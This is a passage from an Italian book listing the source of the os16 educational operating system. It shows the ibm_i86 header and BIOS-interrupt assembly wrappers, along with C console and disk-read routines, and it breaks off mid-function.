990012     // Verify if write is allowed.
990013     //
```

```
990014      if (sb->options & MOUNT_RO)
990015        {
990016          errset (EROFS);          // Read-only file system.
990017          return (-1);
990018        }
990019      //
990020      // Verify if the requested zone is inside the file system area.
990021      //
990022      if (zone >= sb->zones)
990023        {
990024          errset (EINVAL);         // Invalid argument.
990025          return (-1);
990026        }
990027      //
990028      // Write is allowed: calculate start position.
990029      //
990030      size_zone  = 1024 << sb->log2_size_zone;
990031      off_start  = zone;
990032      off_start *= size_zone;
990033      //
990034      // Write the buffer to the device.
990035      //
990036      size_written = dev_io ((pid_t) -1, sb->device, DEV_WRITE, off_start,
990037                             buffer, size_zone, NULL);
990038      if (size_written != size_zone)
990039        {
990040          errset (EIO);            // I/O error.
990041          return (-1);
990042        }
990043      else
990044        {
990045          return (0);
990046        }
990047  }
```

105.5 os16: «kernel/ibm_i86.h»

Si veda la sezione 104.4.

```
1000001 #ifndef _KERNEL_IBM_I86_H
1000002 #define _KERNEL_IBM_I86_H 1
1000003 
1000004 #include <stdint.h>
1000005 #include <size_t.h>
1000006 #include <kernel/memory.h>
1000007 #include <sys/types.h>
1000008 //----------------------------------------------------------------------
1000009 #define IBM_I86_VIDEO_MODE   0x02
1000010 #define IBM_I86_VIDEO_PAGES  4
1000011 
1000012 #define IBM_I86_VIDEO_COLUMNS   80
```

```
1000013 #define IBM_I86_VIDEO_ROWS      25
1000014 #define IBM_I86_VIDEO_ADDRESS   0xB8000L, 0xB9000L, 0xBA000L, 0xBB000L
1000015 //----------------------------------------------------------------------
1000016 void     _int10_00 (uint16_t video_mode);
1000017 void     _int10_02 (uint16_t page, uint16_t position);
1000018 void     _int10_05 (uint16_t page);
1000019 uint16_t _int12    (void);
1000020 uint16_t _int13_00 (uint16_t drive);
1000021 uint16_t _int13_02 (uint16_t drive, uint16_t sectors,
1000022                     uint16_t cylinder, uint16_t head,
1000023                     uint16_t sector, void *buffer);
1000024 uint16_t _int13_03 (uint16_t drive, uint16_t sectors,
1000025                     uint16_t cylinder, uint16_t head,
1000026                     uint16_t sector, void *buffer);
1000027 uint16_t _int16_00 (void);
1000028 uint16_t _int16_01 (void);
1000029 uint16_t _int16_02 (void);
1000030 
1000031 #define int10_00(video_mode)     (_int10_00 ((uint16_t) video_mode))
1000032 #define int10_02(page, position) (_int10_02 ((uint16_t) page, \
1000033                                            (uint16_t) position))
1000034 #define int10_05(page)           (_int10_05 ((uint16_t) page))
1000035 #define int12()                  ((unsigned int) _int12 ())
1000036 
1000037 #define int13_00(drive)          ((unsigned int) \
1000038                                   _int13_00 ((uint16_t) drive))
1000039 #define int13_02(drive, sectors, cylinder, head, sector, buffer) \
1000040                                  ((unsigned int) \
1000041                                   _int13_02 ((uint16_t) drive, \
1000042                                              (uint16_t) sectors, \
1000043                                              (uint16_t) cylinder, \
1000044                                              (uint16_t) head, \
1000045                                              (uint16_t) sector, \
1000046                                             buffer))
1000047 #define int13_03(drive, sectors, cylinder, head, sector, buffer) \
1000048                                  ((unsigned int) \
1000049                                   _int13_03 ((uint16_t) drive, \
1000050                                              (uint16_t) sectors, \
1000051                                              (uint16_t) cylinder, \
1000052                                              (uint16_t) head, \
1000053                                              (uint16_t) sector, \
1000054                                             buffer))
1000055 #define int16_00()               ((unsigned int) _int16_00 ())
1000056 #define int16_01()               ((unsigned int) _int16_01 ())
1000057 #define int16_02()               ((unsigned int) _int16_02 ())
1000058 //----------------------------------------------------------------------
1000059 uint16_t _in_8   (uint16_t port);
1000060 uint16_t _in_16  (uint16_t port);
1000061 void     _out_8  (uint16_t port, uint16_t value);
1000062 void     _out_16 (uint16_t port, uint16_t value);
1000063 
1000064 #define in_8(port)           ((unsigned int) _in_8 ((uint16_t) port))
```

```
1000065 #define in_16(port)          ((unsigned int) _in_16 ((uint16_t) port))
1000066 #define out_8(port, value)   (_out_8 ((uint16_t) port, \
1000067                                       (uint16_t) value))
1000068 #define out_16(port, value)  (_out_16 ((uint16_t) port, \
1000069                                        (uint16_t) value))
1000070 //----------------------------------------------------------------------
1000071 void _cli     (void);
1000072 void _sti     (void);
1000073 
1000074 #define cli() (_cli ())
1000075 #define sti() (_sti ())
1000076 //----------------------------------------------------------------------
1000077 void irq_on  (unsigned int irq);
1000078 void irq_off (unsigned int irq);
1000079 //----------------------------------------------------------------------
1000080 void     _ram_copy      (segment_t org_seg, offset_t org_off,
1000081                          segment_t dst_seg, offset_t dst_off,
1000082                          uint16_t size);
1000083 
1000084 #define ram_copy(org_seg, org_off, dst_seg, dst_off, size) \
1000085                         (_ram_copy ((uint16_t) org_seg, \
1000086                                     (uint16_t) org_off, \
1000087                                     (uint16_t) dst_seg, \
1000088                                     (uint16_t) dst_off, \
1000089                                     (uint16_t) size))
1000090 //----------------------------------------------------------------------
1000091 void con_select     (int console);
1000092 void con_putc       (int console, int c);
1000093 void con_scroll     (int console);
1000094 int  con_char_wait  (void);
1000095 int  con_char_read  (void);
1000096 int  con_char_ready (void);
1000097 void con_init       (void);
1000098 //----------------------------------------------------------------------
1000099 #define DSK_MAX                      4
1000100 #define DSK_SECTOR_SIZE            512     // Fixed!
1000101 
1000102 typedef struct {
1000103     unsigned int  bios_drive;
1000104     unsigned int  cylinders;
1000105     unsigned int  heads;
1000106     unsigned int  sectors;
1000107     unsigned int  retry;
1000108 } dsk_t;
1000109 
1000110 typedef struct {
1000111     unsigned int  cylinder;
1000112     unsigned int  head;
1000113     unsigned int  sector;
1000114 } dsk_chs_t;
1000115 //----------------------------------------------------------------------
1000116 extern dsk_t dsk_table[DSK_MAX];
```

```
1000117 //----------------------------------------------------------------------
1000118 void   dsk_setup         (void);
1000119 int    dsk_reset         (int drive);
1000120 void   dsk_sector_to_chs (int drive, unsigned int sector,
1000121                           dsk_chs_t *chs);
1000122 int    dsk_read_sectors  (int drive, unsigned int start_sector,
1000123                           void *buffer, unsigned int n_sectors);
1000124 int    dsk_write_sectors (int drive, unsigned int start_sector,
1000125                           void *buffer, unsigned int n_sectors);
1000126 size_t dsk_read_bytes    (int drive, off_t offset,
1000127                           void *buffer, size_t count);
1000128 size_t dsk_write_bytes   (int drive, off_t offset,
1000129                           void *buffer, size_t count);
1000130 //----------------------------------------------------------------------
1000131 
1000132 #endif
```

105.5.1 kernel/ibm_i86/_cli.s

Si veda la sezione 104.4.

```
1010001 .global __cli
1010002 ;-----------------------------------------------------------------------
1010003 .text
1010004 ;-----------------------------------------------------------------------
1010005 ; Clear interrupt flag.
1010006 ;-----------------------------------------------------------------------
1010007 .align 2
1010008 __cli:
1010009     cli
1010010     ret
```

105.5.2 kernel/ibm_i86/_in_16.s

Si veda la sezione 104.4.

```
1020001 .global __in_16
1020002 ;-----------------------------------------------------------------------
1020003 .text
1020004 ;-----------------------------------------------------------------------
1020005 ; Port input word.
1020006 ;-----------------------------------------------------------------------
1020007 __in_16:
1020008     enter #2, #0        ; 1 local variable.
1020009     pushf
1020010     cli
1020011     pusha
1020012     mov   dx, 4[bp]     ; 1st arg (port number).
1020013     in    ax, dx
```

```
1020014      mov   -2[bp], ax    ; Save AX.
1020015      popa
1020016      popf
1020017      mov   ax, -2[bp]    ; AX is the function return value.
1020018      leave
1020019      ret
```

105.5.3 kernel/ibm_i86/_in_8.s

Si veda la sezione 104.4.

```
1030001 .global __in_8
1030002 ;------------------------------------------------------------------------
1030003 .text
1030004 ;------------------------------------------------------------------------
1030005 ; Port input byte.
1030006 ;------------------------------------------------------------------------
1030007 __in_8:
1030008      enter #2, #0        ; 1 local variable.
1030009      pushf
1030010      cli
1030011      pusha
1030012      mov   dx, 4[bp]     ; 1st arg (port number).
1030013      in    al, dx
1030014      mov   ah, #0
1030015      mov   -2[bp], ax    ; Save AX.
1030016      popa
1030017      popf
1030018      mov   ax, -2[bp]    ; AX is the function return value.
1030019      leave
1030020      ret
```

105.5.4 kernel/ibm_i86/_int10_00.s

Si veda la sezione 104.4.

```
1040001 .global __int10_00
1040002 ;------------------------------------------------------------------------
1040003 .text
1040004 ;------------------------------------------------------------------------
1040005 ; INT 0x10 - video - set video mode
1040006 ;       AH = 0x00
1040007 ;       AL = desired video mode:
1040008 ;            0x00 = text 40x25  pages 8
1040009 ;            0x01 = text 40x25  pages 8
1040010 ;            0x02 = text 80x25  pages 4
1040011 ;            0x03 = text 80x25  pages 4
1040012 ;            0x07 = text 80x25  pages 4?
1040013 ;
```

```
1040014 ; Specify the display mode for the currently active display adapter.
1040015 ;----------------------------------------------------------------------
1040016 .align 2
1040017 __int10_00:
1040018     enter #0, #0        ; No local variables.
1040019     pushf
1040020     cli
1040021     pusha
1040022     mov   ah, #0x00
1040023     mov   al, 4[bp]     ; 1st arg (video mode).
1040024     int   #0x10
1040025     popa
1040026     popf
1040027     leave
1040028     ret
```

105.5.5 kernel/ibm_i86/_int10_02.s

Si veda la sezione 104.4.

```
1050001 .global __int10_02
1050002 ;----------------------------------------------------------------------
1050003 .text
1050004 ;----------------------------------------------------------------------
1050005 ; INT 0x10 - video - set cursor position
1050006 ;       AH = 0x02
1050007 ;       BH = page number:
1050008 ;            0-7 in modes 0 and 1
1050009 ;            0-3 in modes 2 and 3
1050010 ;       DH = row (0x00 is top)
1050011 ;       DL = column (0x00 is left)
1050012 ;----------------------------------------------------------------------
1050013 .align 2
1050014 __int10_02:
1050015     enter #0, #0        ; No local variables.
1050016     pushf
1050017     cli
1050018     pusha
1050019     mov   ah, #0x02
1050020     mov   bh, #0x00
1050021     mov   bh, 4[bp]     ; 1st arg (page).
1050022     mov   dx, 6[bp]     ; 2nd arg (pos).
1050023     int   #0x10
1050024     popa
1050025     popf
1050026     leave
1050027     ret
```

105.5.6 kernel/ibm_i86/_int10_05.s

Si veda la sezione 104.4.

```
1060001 .global __int10_05
1060002 ;----------------------------------------------------------------------
1060003 .text
1060004 ;----------------------------------------------------------------------
1060005 ; INT 0x10 - video - select active display page
1060006 ;       AH = 0x05
1060007 ;       AL = new page number (0x00 is the first)
1060008 ;----------------------------------------------------------------------
1060009 .align 2
1060010 __int10_05:
1060011     enter #0, #0        ; No local variables.
1060012     pushf
1060013     cli
1060014     pusha
1060015     mov   ah, #0x05
1060016     mov   bh, 4[bp]     ; 1st arg (page).
1060017     int   #0x10
1060018     popa
1060019     popf
1060020     leave
1060021     ret
```

105.5.7 kernel/ibm_i86/_int12.s

Si veda la sezione 104.4.

```
1070001 .global __int12
1070002 ;----------------------------------------------------------------------
1070003 .text
1070004 ;----------------------------------------------------------------------
1070005 ; INT 12 - bios - get memory size
1070006 ; Return:
1070007 ;       AX = kilobytes of contiguous memory starting at absolute address
1070008 ;            0x00000
1070009 ;
1070010 ; This call returns the contents of the word at absolute address
1070011 ; 0x00413.
1070012 ;----------------------------------------------------------------------
1070013 .align 2
1070014 __int12:
1070015     enter #2, #0        ; 1 local variable.
1070016     pushf
1070017     cli
1070018     pusha
1070019     int   #0x12
1070020     mov   -2[bp], ax    ; save AX.
1070021     popa
```

```
1070022     popf
1070023     mov   ax, -2[bp]    ; AX is the function return value.
1070024     leave
1070025     ret
```

105.5.8 kernel/ibm_i86/_int13_00.s

Si veda la sezione 104.4.

```
1080001 .global __int13_00
1080002 ;----------------------------------------------------------------------
1080003 .text
1080004 ;----------------------------------------------------------------------
1080005 ; INT 0x13 - disk - reset disk system
1080006 ;       AH = 0x00
1080007 ;       DL = drive (if bit 7 is set both hard disks and floppy disks
1080008 ;            reset)
1080009 ; Return:
1080010 ;       AH = status
1080011 ;       CF clear if successful (returned AH=0x00)
1080012 ;       CF set on error
1080013 ;----------------------------------------------------------------------
1080014 .align 2
1080015 __int13_00:
1080016     enter #2, #0        ; 1 local variable.
1080017     pushf
1080018     cli
1080019     pusha
1080020     mov   ah, #0x00
1080021     mov   dl, 4[bp]     ; 1st arg.
1080022     int   #0x13
1080023     mov   al, #0x00
1080024     mov   -2[bp], ax    ; save AX.
1080025     popa
1080026     popf
1080027     mov   ax, -2[bp]    ; AX is the function return value.
1080028     leave
1080029     ret
```

105.5.9 kernel/ibm_i86/_int13_02.s

Si veda la sezione 104.4.

```
1090001 .global __int13_02
1090002 ;----------------------------------------------------------------------
1090003 .text
1090004 ;----------------------------------------------------------------------
1090005 ; INT 0x13 - disk - read sectors into memory
1090006 ;       AH = 0x02
```

```
1090007 ;       AL = number of sectors to read (must be nonzero)
1090008 ;       CH = cylinder number (0-255)
1090009 ;       CL bit 6-7 =
1090010 ;            cylinder number (256-1023)
1090011 ;       CL bit 0-5 =
1090012 ;            sector number   (1-63)
1090013 ;       DH = head number     (0-255)
1090014 ;       DL = drive number (bit 7 set for hard disk)
1090015 ;       ES:BX -> data buffer
1090016 ; Return:
1090017 ;       CF set on error
1090018 ;       CF clear if successful
1090019 ;       AH = status (0x00 if successful)
1090020 ;       AL = number of sectors transferred (only valid if CF set for
1090021 ;            some BIOSes)
1090022 ;-----------------------------------------------------------------------
1090023 .align 2
1090024 __int13_02:
1090025     enter #2, #0        ; 1 local variable.
1090026     pushf
1090027     cli
1090028     pusha
1090029     mov   ax, ds        ; Set ES the same as DS.
1090030     mov   es, ax        ;
1090031     mov   ax,  8[bp]    ; 3rd arg (cylinder). It must be splitted and
1090032     mov   ch, al        ; assigned to the right registers.
1090033     mov   cl, ah        ;
1090034     shl   cl, 1         ;
1090035     shl   cl, 1         ;
1090036     shl   cl, 1         ;
1090037     shl   cl, 1         ;
1090038     shl   cl, 1         ;
1090039     shl   cl, 1         ;
1090040     add   cl, 12[bp]    ; 5th arg (sector).
1090041     mov   dl,  4[bp]    ; 1st arg (drive).
1090042     mov   al,  6[bp]    ; 2nd arg (sectors to be read).
1090043     mov   dh, 10[bp]    ; 4th arg (head).
1090044     mov   bx, 14[bp]    ; 6th arg (buffer pointer).
1090045     mov   ah, #0x02
1090046     int   #0x13
1090047     mov   -2[bp], ax    ; save AX.
1090048     popa
1090049     popf
1090050     mov   ax, -2[bp]    ; AX is the function return value.
1090051     leave
1090052     ret
```

105.5.10 kernel/ibm_i86/_int13_03.s

Si veda la sezione 104.4.

```
1100001 .global __int13_03
1100002 ;----------------------------------------------------------------------
1100003 .text
1100004 ;----------------------------------------------------------------------
1100005 ; INT 0x13 - disk - write sectors to disk
1100006 ;       AH = 0x03
1100007 ;       AL = number of sectors to write (must be nonzero)
1100008 ;       CH = cylinder number (0-255)
1100009 ;       CL bit 6-7 =
1100010 ;            cylinder number (256-1023)
1100011 ;       CL bit 0-5 =
1100012 ;            sector number   (1-63)
1100013 ;       DH = head number     (0-255)
1100014 ;       DL = drive number (bit 7 set for hard disk)
1100015 ;       ES:BX -> data buffer
1100016 ; Return:
1100017 ;       CF set on error
1100018 ;       CF clear if successful
1100019 ;       AH = status (0x00 if successful)
1100020 ;       AL = number of sectors transferred (only valid if CF set for
1100021 ;            some BIOSes)
1100022 ;----------------------------------------------------------------------
1100023 .align 2
1100024 __int13_03:
1100025     enter #2, #0        ; 1 local variable.
1100026     pushf
1100027     cli
1100028     pusha
1100029     mov   ax, ds        ; Set ES the same as DS.
1100030     mov   es, ax        ;
1100031     mov   ax,  8[bp]    ; 3rd arg (cylinder). It must be splitted and
1100032     mov   ch, al        ; assigned to the right registers.
1100033     mov   cl, ah        ;
1100034     shl   cl, 1         ;
1100035     shl   cl, 1         ;
1100036     shl   cl, 1         ;
1100037     shl   cl, 1         ;
1100038     shl   cl, 1         ;
1100039     shl   cl, 1         ;
1100040     add   cl, 12[bp]    ; 5th arg (sector).
1100041     mov   dl,  4[bp]    ; 1st arg (drive).
1100042     mov   al,  6[bp]    ; 2nd arg (sectors to be written).
1100043     mov   dh, 10[bp]    ; 4th arg (head).
1100044     mov   bx, 14[bp]    ; 6th arg (buffer pointer).
1100045     mov   ah, #0x03
1100046     int   #0x13
1100047     mov   -2[bp], ax    ; save AX.
1100048     popa
1100049     popf
```

```
1100050      mov    ax, -2[bp]     ; AX is the function return value.
1100051      leave
1100052      ret
```

105.5.11 kernel/ibm_i86/_int16_00.s

Si veda la sezione 104.4.

```
1110001  .global __int16_00
1110002  ;-----------------------------------------------------------------------
1110003  .text
1110004  ;-----------------------------------------------------------------------
1110005  ; INT 0x16 - keyboard - get keystroke
1110006  ;        AH = 0x00
1110007  ; Return:
1110008  ;        AH = BIOS scan code
1110009  ;        AL = ASCII character
1110010  ;-----------------------------------------------------------------------
1110011  .align 2
1110012  __int16_00:
1110013      enter #2, #0        ; 1 local variable.
1110014      pushf
1110015      cli
1110016      pusha
1110017      mov    ah, #0x00
1110018      int    #0x16
1110019      mov    -2[bp], ax     ; Save AX.
1110020      popa
1110021      popf
1110022      mov    ax, -2[bp]     ; AX is the function return value.
1110023      leave
1110024      ret
```

105.5.12 kernel/ibm_i86/_int16_01.s

Si veda la sezione 104.4.

```
1120001  .global __int16_01
1120002  ;-----------------------------------------------------------------------
1120003  .text
1120004  ;-----------------------------------------------------------------------
1120005  ; INT 0x16 - keyboard - check for keystroke
1120006  ;        AH = 0x01
1120007  ; Return:
1120008  ;        ZF set if no keystroke available
1120009  ;        ZF clear if keystroke available
1120010  ;            AH = BIOS scan code
1120011  ;            AL = ASCII character
1120012  ;
```

```
1120013 ; If a keystroke is present, it is not removed from the keyboard buffer.
1120014 ;-----------------------------------------------------------------------
1120015 .align 2
1120016 __int16_01:
1120017     enter #2, #0        ; 1 local variable.
1120018     pushf
1120019     cli
1120020     pusha
1120021     mov   ah, #0x01
1120022     int   #0x16
1120023     jnz   __int16_01_ok
1120024     mov   ax, #0        ; Put zero to AX, if no keystroke is available.
1120025 __int16_01_ok:
1120026     mov   -2[bp], ax    ; Save AX.
1120027     popa
1120028     popf
1120029     mov   ax, -2[bp]    ; AX is the function return value.
1120030     leave
1120031     ret
```

105.5.13 kernel/ibm_i86/_int16_02.s

Si veda la sezione 104.4.

```
1130001 .global __int16_02
1130002 ;-----------------------------------------------------------------------
1130003 .text
1130004 ;-----------------------------------------------------------------------
1130005 ; INT 0x16 - keyboard - get shift flags
1130006 ;       AH = 0x02
1130007 ; Return:
1130008 ;       AL = shift flags
1130009 ;       AH might be destroyed
1130010 ;
1130011 ; bit 7    Insert active
1130012 ; bit 6    CapsLock active
1130013 ; bit 5    NumLock active
1130014 ; bit 4    ScrollLock active
1130015 ; bit 3    Alt key pressed
1130016 ; bit 2    Ctrl key pressed
1130017 ; bit 1    left shift key pressed
1130018 ; bit 0    right shift key pressed
1130019 ;-----------------------------------------------------------------------
1130020 .align 2
1130021 __int16_02:
1130022     enter #2, #0        ; 1 local variable.
1130023     pushf
1130024     cli
1130025     pusha
1130026     mov   ah, #0x02
1130027     int   #0x16
```

```
1130028        mov    ah, #0          ; Reset AH.
1130029        mov    -2[bp], ax      ; Save AX.
1130030        popa
1130031        popf
1130032        mov    ax, -2[bp]      ; AX is the function return value.
1130033        leave
1130034        ret
```

105.5.14 kernel/ibm_i86/_out_16.s

Si veda la sezione 104.4.

```
1140001    .global __out_16
1140002    ;------------------------------------------------------------------------
1140003    .text
1140004    ;------------------------------------------------------------------------
1140005    ; Port output word.
1140006    ;------------------------------------------------------------------------
1140007    .align 2
1140008    __out_16:
1140009        enter #0, #0          ; No local variables.
1140010        pushf
1140011        cli
1140012        pusha
1140013        mov    dx, 4[bp]      ; 1st arg (port number).
1140014        mov    ax, 6[bp]      ; 2nd arg (value).
1140015        out    dx, ax
1140016        popa
1140017        popf
1140018        leave
1140019        ret
```

105.5.15 kernel/ibm_i86/_out_8.s

Si veda la sezione 104.4.

```
1150001    .global __out_8
1150002    ;------------------------------------------------------------------------
1150003    .text
1150004    ;------------------------------------------------------------------------
1150005    ; Port output byte.
1150006    ;------------------------------------------------------------------------
1150007    .align 2
1150008    __out_8:
1150009        enter #0, #0          ; No local variables.
1150010        pushf
1150011        cli
1150012        pusha
1150013        mov    dx, 4[bp]      ; 1st arg (port number).
```

```
1150014     mov   ax, 6[bp]      ; 2nd arg (value).
1150015     out   dx, al
1150016     popa
1150017     popf
1150018     leave
1150019     ret
```

105.5.16 kernel/ibm_i86/_ram_copy.s

Si veda la sezione 104.4.

```
1160001 .global __ram_copy
1160002 ;------------------------------------------------------------------------
1160003 .text
1160004 ;------------------------------------------------------------------------
1160005 ; Copy some bytes between segments.
1160006 ;------------------------------------------------------------------------
1160007 .align 2
1160008 __ram_copy:
1160009     enter #0, #0         ; No local variables.
1160010     pushf
1160011     cli
1160012     pusha
1160013     mov   ax,   4[bp]    ; 1st arg (source segment).
1160014     mov   si,   6[bp]    ; 2nd arg (source offset).
1160015     mov   bx,   8[bp]    ; 3rd arg (destination segment).
1160016     mov   di,  10[bp]    ; 4th arg (destination offset).
1160017     mov   cx,  12[bp]    ; 5th arg (size).
1160018     mov   dx, ds         ; save the data segment.
1160019     mov   ds, ax         ; set DS.
1160020     mov   es, bx         ; set ES.
1160021     rep
1160022     movsb                ; Copy the array of bytes.
1160023     mov   ds, dx         ; Restore the data segment.
1160024     mov   es, dx         ; Restore or fix the extra segment.
1160025     popa
1160026     popf
1160027     leave
1160028     ret
```

105.5.17 kernel/ibm_i86/_sti.s

Si veda la sezione 104.4.

```
1170001 .global __sti
1170002 ;------------------------------------------------------------------------
1170003 .text
1170004 ;------------------------------------------------------------------------
1170005 ; Set interrupt flag.
```

```
1170006 ;----------------------------------------------------------------------
1170007 .align 2
1170008 __sti:
1170009     sti
1170010     ret
```

105.5.18 kernel/ibm_i86/con_char_read.c

Si veda la sezione 104.4.

```
1180001 #include <kernel/ibm_i86.h>
1180002 #include <kernel/k_libc.h>
1180003 #include <sys/os16.h>
1180004 #include <sys/types.h>
1180005 #include <stdint.h>
1180006 //----------------------------------------------------------------------
1180007 int
1180008 con_char_read (void)
1180009 {
1180010     int c;
1180011     c = int16_01 ();
1180012     //
1180013     // Remove special keys that are not used: they have zero in the low
1180014     // 8 bits, and something in the upper 8 bits.
1180015     //
1180016     if ((c & 0xFF00) && !(c & 0x00FF))
1180017       {
1180018         int16_00 ();    // Remove from buffer and return zero:
1180019         return (0);     // no key.
1180020       }
1180021     //
1180022     // A common key was pressed: filter only che low 8 bits.
1180023     //
1180024     c = c & 0x00FF;
1180025     if (c == 0)
1180026       {
1180027         return (c);     // There is no key.
1180028       }
1180029     if (c == '\r')      // Convert 'CR' to 'LF'.
1180030       {
1180031         c = '\n';
1180032       }
1180033     int16_00 ();        // Remove the key from buffer and return.
1180034     return (c);
1180035 }
```

105.5.19 kernel/ibm_i86/con_char_ready.c

Si veda la sezione 104.4.

```
1190001 #include <kernel/ibm_i86.h>
1190002 #include <kernel/k_libc.h>
1190003 #include <sys/os16.h>
1190004 #include <sys/types.h>
1190005 #include <stdint.h>
1190006 //----------------------------------------------------------------------
1190007 int
1190008 con_char_ready (void)
1190009 {
1190010     int c;
1190011     c = int16_01 ();
1190012     //
1190013     // Remove special keys that are not used: they have zero in the low
1190014     // 8 bits, and something in the upper 8 bits.
1190015     //
1190016     if ((c & 0xFF00) && !(c & 0x00FF))
1190017       {
1190018         int16_00 ();     // Remove from buffer and return zero:
1190019         return (0);      // no key.
1190020       }
1190021     //
1190022     // A common key was pressed: filter only che low 8 bits.
1190023     //
1190024     c = c & 0x00FF;
1190025     return (c);
1190026 }
```

105.5.20 kernel/ibm_i86/con_char_wait.c

Si veda la sezione 104.4.

```
1200001 #include <kernel/ibm_i86.h>
1200002 #include <kernel/k_libc.h>
1200003 #include <sys/os16.h>
1200004 #include <sys/types.h>
1200005 #include <stdint.h>
1200006 //----------------------------------------------------------------------
1200007 int
1200008 con_char_wait (void)
1200009 {
1200010     int c;
1200011     c = int16_00 ();
1200012     c = c & 0x00FF;
1200013     if (c == '\r')
1200014       {
1200015         c = '\n';
1200016       }
```

```
1200017     return (c);
1200018 }
```

105.5.21 kernel/ibm_i86/con_init.c

Si veda la sezione 104.4.

```
1210001 #include <kernel/ibm_i86.h>
1210002 #include <kernel/k_libc.h>
1210003 #include <sys/os16.h>
1210004 #include <sys/types.h>
1210005 #include <stdint.h>
1210006 //----------------------------------------------------------------------
1210007 void
1210008 con_init (void)
1210009 {
1210010     int page;
1210011     //
1210012     int10_00 (IBM_I86_VIDEO_MODE);
1210013     int10_05 (0);
1210014     //
1210015     for (page = 0; page < IBM_I86_VIDEO_PAGES; page++)
1210016       {
1210017         con_putc (page, '\n');
1210018       }
1210019 }
```

105.5.22 kernel/ibm_i86/con_putc.c

Si veda la sezione 104.4.

```
1220001 #include <kernel/ibm_i86.h>
1220002 #include <kernel/k_libc.h>
1220003 #include <sys/os16.h>
1220004 #include <sys/types.h>
1220005 #include <stdint.h>
1220006 //----------------------------------------------------------------------
1220007 void
1220008 con_putc (int console, int c)
1220009 {
1220010     static int      cursor[IBM_I86_VIDEO_PAGES];
1220011     static addr_t   address[] = {IBM_I86_VIDEO_ADDRESS};
1220012            addr_t   address_destination;
1220013            size_t   size_screen;
1220014            size_t   size_row;
1220015            uint16_t cell;
1220016            uint16_t attribute = 0x0700;
1220017            int      cursor_row;
1220018            int      cursor_column;
```

```
1220019             int       cursor_combined;
1220020
1220021     if (console < 0 || console >= IBM_I86_VIDEO_PAGES)
1220022       {
1220023         //
1220024         // No such console.
1220025         //
1220026         return;
1220027       }
1220028     //
1220029     // Calculate sizes.
1220030     //
1220031     size_row    = IBM_I86_VIDEO_COLUMNS;
1220032     size_screen = size_row * IBM_I86_VIDEO_ROWS;
1220033     //
1220034     // See if it is a special character, or if the cursor position
1220035     // requires a scroll up.
1220036     //
1220037     if (c == '\n')
1220038       {
1220039         con_scroll (console);
1220040         cursor[console] = (size_screen - size_row);
1220041       }
1220042     else if (c == '\b')
1220043       {
1220044         cursor[console]--;
1220045         if (cursor[console] < 0)
1220046           {
1220047             cursor[console] = 0;
1220048           }
1220049       }
1220050     else if (cursor[console] == (size_screen -1))
1220051       {
1220052         //
1220053         // Scroll up.
1220054         //
1220055         con_scroll (console);
1220056         //
1220057         cursor[console] -= size_row;
1220058       }
1220059     //
1220060     // If it is not a control character, print it.
1220061     //
1220062     if (c != '\n' && c != '\b')
1220063       {
1220064         //
1220065         // Write the character.
1220066         //
1220067         address_destination  = address[console];
1220068         address_destination += (cursor[console] * 2);
1220069         cell = (attribute | (c & 0x00FF));
1220070         //
```

```
1220071             mem_write (address_destination, &cell, sizeof (uint16_t));
1220072             //
1220073             // and an extra space after it (to be able to show the cursor).
1220074             //
1220075             cell = (attribute | ' ');
1220076             address_destination  += 2;
1220077             mem_write (address_destination, &cell, sizeof (uint16_t));
1220078             //
1220079             //
1220080             //
1220081             cursor[console]++;
1220082           }
1220083         //
1220084         // Update the cursor position on screen.
1220085         //
1220086         cursor_row      = cursor[console] / size_row;
1220087         cursor_column   = cursor[console] % size_row;
1220088         cursor_combined = (cursor_row << 8) | cursor_column;
1220089         //
1220090         // Set cursor position.
1220091         //
1220092         int10_02 (console, cursor_combined);
1220093     }
```

105.5.23 kernel/ibm_i86/con_scroll.c

Si veda la sezione 104.4.

```
1230001     #include <kernel/ibm_i86.h>
1230002     #include <kernel/k_libc.h>
1230003     #include <sys/os16.h>
1230004     #include <sys/types.h>
1230005     #include <stdint.h>
1230006     //----------------------------------------------------------------------
1230007     void
1230008     con_scroll (int console)
1230009     {
1230010         static addr_t   address[] = {IBM_I86_VIDEO_ADDRESS};
1230011                addr_t   address_source;
1230012                addr_t   address_destination;
1230013                size_t   size_screen;
1230014                size_t   size_row;
1230015         static uint16_t empty_line[IBM_I86_VIDEO_COLUMNS];
1230016         //
1230017         size_row    = IBM_I86_VIDEO_COLUMNS;
1230018         size_screen = size_row * IBM_I86_VIDEO_ROWS;
1230019         //
1230020         // Scroll up.
1230021         //
1230022         address_source      = address[console];
1230023         address_source     += size_row * 2;
```

```
1230024     address_destination = address[console];
1230025     //
1230026     mem_copy (address_source, address_destination,
1230027               (size_t) ((size_screen - size_row) * 2));
1230028     //
1230029     address_destination  = address[console];
1230030     address_destination += ((size_screen - size_row) * 2);
1230031     //
1230032     mem_write (address_destination, &empty_line,
1230033                (size_t) (size_row * 2));
1230034 }
```

105.5.24 kernel/ibm_i86/con_select.c

Si veda la sezione 104.4.

```
1240001 #include <kernel/ibm_i86.h>
1240002 #include <kernel/k_libc.h>
1240003 #include <sys/os16.h>
1240004 #include <sys/types.h>
1240005 #include <stdint.h>
1240006 //----------------------------------------------------------------------
1240007 void
1240008 con_select (int console)
1240009 {
1240010     //
1240011     // Variable `console' gose from zero to `IBM_I86_VIDEO_PAGES - 1'.
1240012     //
1240013     if (console >= 0 && console < IBM_I86_VIDEO_PAGES)
1240014       {
1240015         int10_05 (console);
1240016       }
1240017 }
```

105.5.25 kernel/ibm_i86/dsk_read_bytes.c

Si veda la sezione 104.4.

```
1250001 #include <kernel/ibm_i86.h>
1250002 #include <kernel/k_libc.h>
1250003 #include <sys/os16.h>
1250004 #include <sys/types.h>
1250005 #include <stdint.h>
1250006 //----------------------------------------------------------------------
1250007 size_t
1250008 dsk_read_bytes (int drive, off_t offset, void *buffer, size_t count)
1250009 {
1250010     unsigned char *data_buffer = (unsigned char *) buffer;
1250011     int            status;
```

```
1250012     unsigned int   sector;
1250013     unsigned char  sector_buffer[DSK_SECTOR_SIZE];
1250014     int            i;
1250015     int            j = 0;
1250016     size_t         k = 0;
1250017 
1250018     sector = offset / DSK_SECTOR_SIZE;
1250019     i      = offset % DSK_SECTOR_SIZE;
1250020 
1250021     status = dsk_read_sectors (drive, sector, sector_buffer, 1);
1250022 
1250023     if (status != 0)
1250024       {
1250025         return ((size_t) 0);
1250026       }
1250027 
1250028     while (count)
1250029       {
1250030         for (; i < DSK_SECTOR_SIZE && count > 0;
1250031                i++, j++, k++, count--, offset++)
1250032           {
1250033             data_buffer[j] = sector_buffer[i];
1250034           }
1250035         if (count)
1250036           {
1250037             sector = offset / DSK_SECTOR_SIZE;
1250038             i      = offset % DSK_SECTOR_SIZE;
